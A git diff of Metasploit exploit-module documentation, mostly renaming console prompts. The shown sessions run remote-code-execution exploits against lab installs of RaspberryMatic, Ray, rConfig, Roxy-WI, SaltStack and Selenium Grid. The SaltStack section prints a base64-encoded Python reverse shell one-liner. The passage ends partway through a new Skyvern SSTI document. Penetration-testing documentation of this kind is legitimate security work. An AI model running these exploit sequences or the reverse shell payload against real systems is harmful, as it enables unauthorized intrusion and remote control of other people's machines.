exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8 +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8 FETCH_SRVHOST => 192.168.201.8 -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp FETCH_WRITABLE_DIR => /tmp -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -78,11 +78,11 @@ meterpreter > ``` ### RaspberryMatic Pi4 Model B compute board - Unix/Linux Command aarch64 target ```msf -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10 +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10 rhosts => 192.168.201.10 -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/ray_agent_job_rce.md b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md index e6469f77ea6d0..1d3de32cb4f7f 100644 --- a/documentation/modules/exploit/linux/http/ray_agent_job_rce.md +++ b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md @@ -38,15 +38,15 @@ No options ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0) ``` -msf6 > use exploit/linux/http/ray_agent_job_rce +msf > use exploit/linux/http/ray_agent_job_rce [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 +msf exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 +msf exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/ray_agent_job_rce) > check +msf exploit(linux/http/ray_agent_job_rce) > check [*] 192.168.56.6:8265 - The service is running, but could not be validated. -msf6 exploit(linux/http/ray_agent_job_rce) > run +msf exploit(linux/http/ray_agent_job_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -70,19 +70,19 @@ Meterpreter : x64/linux ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1) ``` -msf6 > use exploit/linux/http/ray_agent_job_rce +msf > use exploit/linux/http/ray_agent_job_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 +msf exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 +msf exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/ray_agent_job_rce) > set target 1 +msf exploit(linux/http/ray_agent_job_rce) > set target 1 target => 1 -msf6 exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp +msf exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/ray_agent_job_rce) > check +msf exploit(linux/http/ray_agent_job_rce) > check [*] 192.168.56.6:8265 - The service is running, but could not be validated. -msf6 exploit(linux/http/ray_agent_job_rce) > run +msf exploit(linux/http/ray_agent_job_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md b/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md index 0726112fca14b..f4255c293de77 100644 --- a/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md +++ b/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md @@ -38,15 +38,15 @@ No options ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0) ``` -msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 +msf > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check [*] 192.168.56.6:8265 - The service is running, but could not be validated. -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -70,19 +70,19 @@ Meterpreter : x64/linux ### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1) ``` -msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 +msf > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 rhost => 192.168.56.6 -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1 +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1 target => 1 -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check [*] 192.168.56.6:8265 - The service is running, but could not be validated. -msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run +msf exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/rconfig_ajaxarchivefiles_rce.md b/documentation/modules/exploit/linux/http/rconfig_ajaxarchivefiles_rce.md index 8e5c102b50e2d..8bce99a98fb7b 100644 --- a/documentation/modules/exploit/linux/http/rconfig_ajaxarchivefiles_rce.md +++ b/documentation/modules/exploit/linux/http/rconfig_ajaxarchivefiles_rce.md @@ -22,7 +22,7 @@ Tips : once you get a shell, look at the CVE-2019-19585. You will probably get r ## Scenarios ``` -msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options +msf exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options Module options (exploit/linux/http/rconfig_ajaxarchivefiles_rce): @@ -50,12 +50,12 @@ Exploit target: -- ---- 0 Auto -msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set RHOSTS 1.1.1.1 +msf exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set RHOSTS 1.1.1.1 RHOSTS => 1.1.1.1 -msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set LHOST 1.1.1.2 +msf exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set LHOST 1.1.1.2 LHOST => 1.1.1.2 -msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > +msf exploit(linux/http/rconfig_ajaxarchivefiles_rce) > [+] rConfig version 3.9 detected [+] New temporary user 6QpO8mLt created [+] Authenticated as user 6QpO8mLt @@ -63,7 +63,7 @@ msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > [+] Command successfully executed [*] User 6QpO8mLt removed successfully ! -msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > sessions -i 1 +msf exploit(linux/http/rconfig_ajaxarchivefiles_rce) > sessions -i 1 [*] Starting interaction with 1... id uid=48(apache) gid=48(apache) groups=48(apache) diff --git a/documentation/modules/exploit/linux/http/rconfig_vendors_auth_file_upload_rce.md b/documentation/modules/exploit/linux/http/rconfig_vendors_auth_file_upload_rce.md index 8df0540d04a8c..d5e77b77b1909 100644 --- a/documentation/modules/exploit/linux/http/rconfig_vendors_auth_file_upload_rce.md +++ b/documentation/modules/exploit/linux/http/rconfig_vendors_auth_file_upload_rce.md @@ -40,17 +40,17 @@ Set the PASSWORD of your admin account. This module was successfully tested on CentOS 7 with rConfig 3.9.6. See the following output : ``` -msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce +msf > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set rhost 192.168.37.133 +msf exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set rhost 192.168.37.133 rhost => 192.168.37.133 -msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set lhost 192.168.37.1 +msf exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set username admin +msf exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set username admin username => admin -msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set password admin +msf exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > set password admin password => admin -msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > run +msf exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/roxy_wi_exec.md b/documentation/modules/exploit/linux/http/roxy_wi_exec.md index 7c1dd3b570c57..36cb5596cb386 100644 --- a/documentation/modules/exploit/linux/http/roxy_wi_exec.md +++ b/documentation/modules/exploit/linux/http/roxy_wi_exec.md @@ -51,9 +51,9 @@ The base path to Roxy-WI. The default value is `/`. ### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target ``` - msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec + msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp - msf6 exploit(linux/http/roxy_wi_exec) > show options + msf exploit(linux/http/roxy_wi_exec) > show options Module options (exploit/linux/http/roxy_wi_exec): @@ -92,11 +92,11 @@ The base path to Roxy-WI. The default value is `/`. 0 Unix (In-Memory) - msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1 + msf exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 - msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true + msf exploit(linux/http/roxy_wi_exec) > set HttpTrace true HttpTrace => true - msf6 exploit(linux/http/roxy_wi_exec) > run + msf exploit(linux/http/roxy_wi_exec) > run [*] Started reverse TCP handler on 172.22.230.145:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -206,9 +206,9 @@ The base path to Roxy-WI. The default value is `/`. ### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target ``` - msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec + msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp - msf6 exploit(linux/http/roxy_wi_exec) > show options + msf exploit(linux/http/roxy_wi_exec) > show options Module options (exploit/linux/http/roxy_wi_exec): @@ -247,15 +247,15 @@ The base path to Roxy-WI. The default value is `/`. 0 Unix (In-Memory) - msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1 + msf exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 - msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true + msf exploit(linux/http/roxy_wi_exec) > set HttpTrace true HttpTrace => true - msf6 exploit(linux/http/roxy_wi_exec) > set Target 1 + msf exploit(linux/http/roxy_wi_exec) > set Target 1 Target => 1 - msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp + msf exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp payload => linux/x64/shell/reverse_tcp - msf6 exploit(linux/http/roxy_wi_exec) > show options + msf exploit(linux/http/roxy_wi_exec) > show options Module options (exploit/linux/http/roxy_wi_exec): @@ -294,7 +294,7 @@ The base path to Roxy-WI. The default value is `/`. 1 Linux (Dropper) - msf6 exploit(linux/http/roxy_wi_exec) > run + msf exploit(linux/http/roxy_wi_exec) > run [*] Started reverse TCP handler on 172.22.230.145:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/saltstack_salt_api_cmd_exec.md b/documentation/modules/exploit/linux/http/saltstack_salt_api_cmd_exec.md index 75a92c6538cf7..d36abdac7f0e7 100644 --- a/documentation/modules/exploit/linux/http/saltstack_salt_api_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/saltstack_salt_api_cmd_exec.md @@ -37,9 +37,9 @@ This uses a Linux dropper to execute code. ### SaltStack Salt 2019.2.3 from Vulhub ``` -msf6 > use exploit/linux/http/saltstack_salt_api_cmd_exec +msf > use exploit/linux/http/saltstack_salt_api_cmd_exec [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > options +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > options Module options (exploit/linux/http/saltstack_salt_api_cmd_exec): @@ -72,11 +72,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1 +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7 +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7 lhost => 192.168.1.7 -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > run +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > run [+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMS43Jyw0NDQ0KSkKcz1zc2wud3JhcF9zb2NrZXQoc28pClh5PUZhbHNlCndoaWxlIG5vdCBYeToKCWRhdGE9cy5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJWHkgPSBUcnVlCglwcm9jPXN1YnByb2Nlc3MuUG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsc3RkZXJyPXN1YnByb2Nlc3MuUElQRSxzdGRpbj1zdWJwcm9jZXNzLlBJUEUpCglzdGRvdXRfdmFsdWU9cHJvYy5zdGRvdXQucmVhZCgpICsgcHJvYy5zdGRlcnIucmVhZCgpCglzLnNlbmQoc3Rkb3V0X3ZhbHVlKQo=')[0]))" [*] Started reverse SSL handler on 192.168.1.7:4444 @@ -95,11 +95,11 @@ Linux c861a41f03f1 4.19.76-linuxkit #1 SMP Tue May 26 11:42:35 UTC 2020 x86_64 G ### SaltStack Salt 3002 on Ubuntu 20.04.1 ``` -msf6 > use exploit/linux/http/saltstack_salt_api_cmd_exec +msf > use exploit/linux/http/saltstack_salt_api_cmd_exec [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set target Linux\ Dropper +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set target Linux\ Dropper target => Linux Dropper -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > options +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > options Module options (exploit/linux/http/saltstack_salt_api_cmd_exec): @@ -130,11 +130,11 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1 +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7 +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7 lhost => 192.168.1.7 -msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > run +msf exploit(linux/http/saltstack_salt_api_cmd_exec) > run [*] Started reverse TCP handler on 192.168.1.7:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/saltstack_salt_wheel_async_rce.md b/documentation/modules/exploit/linux/http/saltstack_salt_wheel_async_rce.md index de7e4c0a3d450..54de4b0e0d68b 100644 --- a/documentation/modules/exploit/linux/http/saltstack_salt_wheel_async_rce.md +++ b/documentation/modules/exploit/linux/http/saltstack_salt_wheel_async_rce.md @@ -75,15 +75,15 @@ the sub-directories if they don't exist. ### SaltStack Salt 3002.2 on Ubuntu 18.04 ``` -msf6 > use exploit/linux/http/saltstack_salt_wheel_async_rce +msf > use exploit/linux/http/saltstack_salt_wheel_async_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set rhosts 192.168.144.188 +msf exploit(linux/http/saltstack_salt_wheel_async_rce) > set rhosts 192.168.144.188 rhosts => 192.168.144.188 -msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set lhost 192.168.144.1 +msf exploit(linux/http/saltstack_salt_wheel_async_rce) > set lhost 192.168.144.1 lhost => 192.168.144.1 -msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set verbose true +msf exploit(linux/http/saltstack_salt_wheel_async_rce) > set verbose true verbose => true -msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > options +msf exploit(linux/http/saltstack_salt_wheel_async_rce) > options Module options (exploit/linux/http/saltstack_salt_wheel_async_rce): @@ -115,7 +115,7 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > run +msf exploit(linux/http/saltstack_salt_wheel_async_rce) > run [*] Started reverse TCP handler on 192.168.144.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md index 21f9f50ea2cd5..6af7356e91be3 100644 --- a/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md +++ b/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108.md @@ -35,9 +35,9 @@ This module was successfully tested on: ## Scenarios ### selenium/standalone-chrome:3.141.59 installed with Docker on Ubuntu 24.04 ``` -msf6 > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108 +msf > use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108 [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options +msf exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > options Module options (exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108): @@ -75,7 +75,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 +msf exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4444 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. @@ -94,7 +94,7 @@ meterpreter > ### selenium/standalone-chrome:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 ``` -msf6 exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +msf exploit(linux/http/selenium_greed_chrome_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected. diff --git a/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md index 30d2d7ddc4ccf..f198d2d0dac26 100644 --- a/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md +++ b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md @@ -43,9 +43,9 @@ executed. Defaults to 75 seconds. ## Scenarios ### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 ``` -msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108 +msf > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108 [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options +msf exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108): @@ -84,7 +84,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445 +msf exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. @@ -105,7 +105,7 @@ meterpreter > ### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 ``` -msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446 +msf exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -126,7 +126,7 @@ meterpreter > ### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 ``` -msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +msf exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. @@ -147,7 +147,7 @@ meterpreter > ### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448 +msf exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. diff --git a/documentation/modules/exploit/linux/http/skyvern_ssti_cve_2025_49619.md b/documentation/modules/exploit/linux/http/skyvern_ssti_cve_2025_49619.md new file mode 100644 index 0000000000000..e2ce7ba417790 --- /dev/null +++ b/documentation/modules/exploit/linux/http/skyvern_ssti_cve_2025_49619.md @@ -0,0 +1,221 @@ +## Vulnerable Application + +Skyvern is browser-based automation tool integrated with AI and LLMs. +It allows to create workflows, which can perform automation tasks based on LLMs. +Version up to 0.1.84 is vulnerable to SSTI, which can lead to remote code execution. +The application is available [here](https://github.com/Skyvern-AI/skyvern.git). + +### Installation + +1. `git clone https://github.com/Skyvern-AI/skyvern.git` +2. `cd skyvern` +3. `mv .env.example .env` +4. `mv skyvern-frontend/.env.example skyvern-frontend/.env` +5. Override the content of `docker-compose.yml` with the following configuration: +```yaml +services: + postgres: + image: postgres:14-alpine + restart: always + # comment out if you want to externally connect DB + ports: + - 5432:5432 + volumes: + - ./postgres-data:/var/lib/postgresql/data + environment: + - PGDATA=/var/lib/postgresql/data/pgdata + - POSTGRES_USER=skyvern + - POSTGRES_PASSWORD=skyvern + - POSTGRES_DB=skyvern + healthcheck: + test: ["CMD-SHELL", "pg_isready -U skyvern"] + interval: 5s + timeout: 5s + retries: 5 + skyvern: + image: public.ecr.aws/skyvern/skyvern:v0.1.84 + restart: on-failure + env_file: + - .env + # comment out if you want to externally call skyvern API + ports: + - 8000:8000 + - 9222:9222 # for cdp browser forwarding + volumes: + - ./artifacts:/data/artifacts + - ./videos:/data/videos + - ./har:/data/har + - ./log:/data/log + - ./.streamlit:/app/.streamlit + # Uncomment the following two lines if you want to connect to any local changes + # - ./skyvern:/app/skyvern + # - ./alembic:/app/alembic + environment: + - DATABASE_STRING=postgresql+psycopg://skyvern:skyvern@postgres:5432/skyvern + - BROWSER_TYPE=chromium-headful + - ENABLE_CODE_BLOCK=true + # - BROWSER_TYPE=cdp-connect + # Use this command to start Chrome with remote debugging: + # "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\chrome-cdp-profile" --no-first-run --no-default-browser-check + # /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/yourusername/chrome-cdp-profile" --no-first-run --no-default-browser-check + # - BROWSER_REMOTE_DEBUGGING_URL=http://host.docker.internal:9222/ + # ========================= + # LLM Settings - Recommended to use skyvern CLI, `skyvern init llm` to setup your LLM's + # ========================= + # OpenAI Support: + # If you want to use OpenAI as your LLM provider, uncomment the following lines and fill in your OpenAI API key. + # - ENABLE_OPENAI=true + # - LLM_KEY=OPENAI_GPT4O + # - OPENAI_API_KEY= + # Gemini Support: + # Gemini is a new LLM provider that is currently in beta. You can use it by uncommenting the following lines and filling in your Gemini API key. + # - LLM_KEY=GEMINI + # - ENABLE_GEMINI=true + # - GEMINI_API_KEY=YOUR_GEMINI_KEY + # - LLM_KEY=GEMINI_2.5_PRO_PREVIEW_03_25 + # If you want to use other LLM provider, like azure and anthropic: + # - ENABLE_ANTHROPIC=true + # - LLM_KEY=ANTHROPIC_CLAUDE3.5_SONNET + # - ANTHROPIC_API_KEY= + # Microsoft Azure OpenAI support: + # If you'd like to use Microsoft Azure OpenAI as your managed LLM service integration with Skyvern, use the environment variables below. + # In your Microsoft Azure subscription, you will need to provision the OpenAI service and deploy a model, in order to utilize it. + # 1. Login to the Azure Portal + # 2. Create an Azure Resource Group + # 3. Create an OpenAI resource in the Resource Group (choose a region and pricing tier) + # 4. From the OpenAI resource's Overview page, open the "Azure AI Foundry" portal (click the "Explore Azure AI Foundry Portal" button) + # 5. In Azure AI Foundry, click "Shared Resources" --> "Deployments" + # 6. Click "Deploy Model" --> "Deploy Base Model" --> select a model (specify this model "Deployment Name" value for the AZURE_DEPLOYMENT variable below) + # - ENABLE_AZURE=true + # - LLM_KEY=AZURE_OPENAI # Leave this value static, 